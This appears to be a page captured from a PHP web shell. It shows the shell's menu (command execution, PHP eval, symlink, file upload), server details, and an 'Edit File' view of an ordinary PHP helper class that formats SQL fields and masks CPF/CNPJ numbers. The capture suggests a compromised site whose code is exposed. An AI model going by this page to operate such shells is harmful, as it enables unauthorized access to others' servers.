Home Files
Adminer
Execute Command
PHP Eval
Symlink
File Upload
Owner :
www-data
PHP Version
8.1.8
Disk Space
203.89 GB
Server Addr
171.9.3.2
Your IP
171.9.3.1
Edit File
File:
<?php class PageHtml { function formatCampos($array) { $campos = null; foreach ($array as $key => $value) { switch ($value) { case 'DATE': $campos[] = "DATE_FORMAT(".$key.",'%d/%m/%Y') as ".$key; break; case 'TIME': $campos[] = "DATE_FORMAT(".$key.",'%H:%i') as ".$key; break; case 'NUMBER': $campos[] = "FORMAT(".$key.",2,'de_DE') as ".$key; break; default: $campos[] = $key; break; } } return implode(", ",$campos); } function filesSearch($array_extensao,$path) { $arquivos = null; if (is_dir($path)) { $diretorio = dir($path); while ($arquivo = $diretorio->read()) { $extensao = substr(strtolower($arquivo), -4, 4); if (in_array($extensao, $array_extensao)) { $arquivos[] = array("name" => $arquivo, "extensao" => $extensao, "tamanho" => $this->tamanho_arquivo("/".$path . "/" . $arquivo), "file" => Utilidades::Criptonita("en","/".$path . "/" . $arquivo), 'arquivo' => "/".$path . "/" . $arquivo ); } } $diretorio->close(); } return $arquivos; } function formatDados ($data, $type) { if ($data != '') { switch ($type) { case 'CPF': $data = "***" . substr($data, 4, 6) . "-**"; break; case 'DATETIME': $data = date("d/m/Y H:i", strtotime($data)); break; case 'DATE': $data = date("d/m/Y", strtotime($data)); break; case 'TIME': $data = date("H:i", strtotime($data)); break; case 'MONEY': $data = number_format($data, 2, ',', '.'); break; } } else { $data = ''; } return $data; } function tamanho_arquivo($arquivo) { $tamanhoarquivo = filesize($arquivo); $medidas = array('KB', 'MB', 'GB', 'TB'); if($tamanhoarquivo < 999){ $tamanhoarquivo = 1000; } for ($i = 0; $tamanhoarquivo > 999; $i++){ $tamanhoarquivo /= 1024; } return round($tamanhoarquivo) . $medidas[$i - 1]; } function formata_cpf_cnpj($cpf_cnpj,$cpf_mostra = false){ $cpf_cnpj = preg_replace("/[^0-9]/", "", $cpf_cnpj); $tipo_dado = NULL; if(strlen($cpf_cnpj)==11){ $tipo_dado = "cpf"; } if(strlen($cpf_cnpj)==14){ $tipo_dado = "cnpj"; } switch($tipo_dado){ default: $cpf_cnpj_formatado = "Não foi possível definir tipo de dado"; break; case "cpf": $bloco_1 = substr($cpf_cnpj,0,3); $bloco_2 = substr($cpf_cnpj,3,3); $bloco_3 = substr($cpf_cnpj,6,3); $dig_verificador = substr($cpf_cnpj,-2); if ($cpf_mostra == false) { $cpf_cnpj_formatado = $bloco_1.".***.***-".$dig_verificador; } else { $cpf_cnpj_formatado = $bloco_1.".".$bloco_2.".".$bloco_3."-".$dig_verificador; } break; case "cnpj": $bloco_1 = substr($cpf_cnpj,0,2); $bloco_2 = substr($cpf_cnpj,2,3); $bloco_3 = substr($cpf_cnpj,5,3); $bloco_4 = substr($cpf_cnpj,8,4); $digito_verificador = substr($cpf_cnpj,-2); $cpf_cnpj_formatado = $bloco_1.".".$bloco_2.".".$bloco_3."/".$bloco_4."-".$digito_verificador; break; } return $cpf_cnpj_formatado; } }